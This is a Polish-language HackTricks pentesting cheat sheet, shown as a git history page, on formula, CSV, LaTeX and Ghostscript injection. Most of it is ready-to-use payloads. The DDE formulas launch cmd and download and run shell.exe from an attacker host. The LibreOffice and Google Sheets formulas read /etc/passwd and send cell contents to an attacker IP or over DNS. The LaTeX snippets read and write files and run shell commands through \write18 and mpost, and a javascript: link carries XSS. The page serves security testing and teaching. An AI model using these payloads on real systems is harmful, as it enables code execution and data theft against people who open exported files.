hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

219 lines
12 KiB
Markdown
Raw Normal View History

# Wstrzykiwanie formuł/CSV/Doc/LaTeX/GhostScript
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-31 01:25:17 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
**Grupa Try Hard Security**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Wstrzykiwanie formuł
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
### Informacje
Jeśli **wejście** jest **odzwierciedlane** w **plikach CSV** (lub w innych plikach, które prawdopodobnie zostaną otwarte w **Excelu**), możesz umieścić formuły Excela, które zostaną **wykonane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
{% hint style="danger" %}
Obecnie **Excel będzie alarmował** (kilka razy) użytkownika, gdy coś jest ładowane spoza Excela, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych wysiłków w zakresie inżynierii społecznej do ostatecznego ładunku.
{% endhint %}
2022-09-29 15:13:42 +00:00
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2024-02-11 01:46:25 +00:00
### Hiperłącze
2022-09-29 15:13:42 +00:00
**Poniższy przykład jest bardzo przydatny do wycieku treści z końcowego arkusza kalkulacyjnego i do wykonywania żądań do dowolnych lokalizacji. Wymaga jednak kliknięcia w link (i zaakceptowania ostrzeżeń).**
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studenckimi, które jest wykorzystywane poprzez atak za pomocą wstrzyknięcia kodu CSV. Głównym celem atakującego jest skompromitowanie systemu używanego przez nauczycieli do zarządzania danymi uczniów. Metoda ta polega na wstrzyknięciu złośliwego ładunku do aplikacji, poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane uczniów. Atak przebiega następująco:
1. **Wstrzyknięcie Złośliwego Ładunku:**
* Atakujący przesyła formularz danych ucznia, ale zawiera formułę często używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
* Ta formuła ma na celu utworzenie hiperłącza, które jednak wskazuje na złośliwy serwer kontrolowany przez atakującego.
2. **Eksportowanie Skompromitowanych Danych:**
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji do eksportu danych do pliku CSV.
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
3. **Wywołanie Ataku:**
* Nauczyciel kliknie w hiperłącze, wierząc, że jest to prawidłowa część danych ucznia.
* Po kliknięciu, wrażliwe dane (potencjalnie zawierające szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
4. **Logowanie Danych:**
* Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
* Atakujący może następnie wykorzystać te dane do różnych złośliwych celów, dalszego naruszania prywatności i bezpieczeństwa uczniów oraz instytucji.
2022-07-10 22:26:52 +00:00
### RCE
**Sprawdź** [**oryginalny post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **dla dalszych szczegółów.**
W określonych konfiguracjach lub starszych wersjach Excela, funkcję o nazwie Dynamic Data Exchange (DDE) można wykorzystać do wykonywania arbitralnych poleceń. Aby to osiągnąć, należy włączyć następujące ustawienia:
* Przejdź do Plik → Opcje → Centrum Zaufania → Ustawienia Centrum Zaufania → Zewnętrzne Zawartości i włącz **Uruchamianie Serwera Dynamic Data Exchange**.
2021-06-29 12:49:13 +00:00
Gdy arkusz kalkulacyjny z złośliwym ładunkiem zostanie otwarty (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić kalkulator, ładunek będzie:
2024-02-06 03:10:38 +00:00
```markdown
`=cmd|' /C calc'!xxx`
2021-06-29 12:49:13 +00:00
```
2024-02-11 01:46:25 +00:00
Dodatkowe polecenia mogą również zostać wykonane, takie jak pobranie i wykonanie pliku za pomocą PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
### Włączenie pliku lokalnego (LFI) w LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc może być używany do odczytywania plików lokalnych i wycieku danych. Oto kilka metod:
2021-06-29 12:49:13 +00:00
* Odczytanie pierwszej linii z lokalnego pliku `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Wyciek odczytanych danych do serwera kontrolowanego przez atakującego: `=WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Wyciekanie więcej niż jednej linii: `=WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Wyciek DNS (wysyłanie odczytanych danych jako zapytania DNS do serwera DNS kontrolowanego przez atakującego): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domena atakującego>"))`
2021-06-29 12:49:13 +00:00
### Arkusze Google do wycieku danych Out-of-Band (OOB)
2021-06-29 12:49:13 +00:00
Arkusze Google oferują funkcje, które mogą być wykorzystane do wycieku danych OOB:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Łączy ciągi znaków - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<adres IP atakującego:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importuje zakres komórek z innego arkusza kalkulacyjnego - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Id_arkusza]", "arkusz1!A2:E2")`
* **IMAGE**: Wstawia obraz do komórki - `=IMAGE("https://<adres IP atakującego:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## Wstrzyknięcie LaTeX
2021-06-29 12:49:13 +00:00
Zazwyczaj serwery, które znajdziesz w internecie, które **konwertują kod LaTeX na PDF**, używają **`pdflatex`**.\
Ten program używa 3 głównych atrybutów do (nie)zezwalania na wykonanie poleceń:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{polecenie}`, nawet jeśli jest włączona w pliku texmf.cnf.
2024-02-11 01:46:25 +00:00
* **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **predefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Włącza** konstrukcję `\write18{polecenie}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zazwyczaj zabroniona ze względów bezpieczeństwa.
2022-07-10 22:26:52 +00:00
Jednak istnieją inne sposoby wykonania poleceń, dlatego aby uniknąć RCE, bardzo ważne jest korzystanie z `--shell-restricted`.
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
### Odczytaj plik <a href="#read-file" id="read-file"></a>
Możesz potrzebować dostosować wstrzyknięcie za pomocą opakowań takich jak \[ lub $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
2024-02-11 01:46:25 +00:00
#### Odczytaj plik jednolinijkowy
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Odczytaj plik wielowierszowy
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-11 01:46:25 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
2024-02-11 01:46:25 +00:00
### Zapisz plik <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
2024-02-11 01:46:25 +00:00
### Wykonanie polecenia <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, aby je otrzymać.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Jeśli otrzymasz błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez złych znaków.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Skrypty międzywitrynne <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2022-07-10 22:26:52 +00:00
2024-02-11 01:46:25 +00:00
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
2024-02-11 01:46:25 +00:00
## Wstrzykiwanie Ghostscript
2022-07-10 22:26:52 +00:00
**Sprawdź** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Odnośniki
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-31 01:25:17 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 01:46:25 +00:00
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-11 01:46:25 +00:00
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>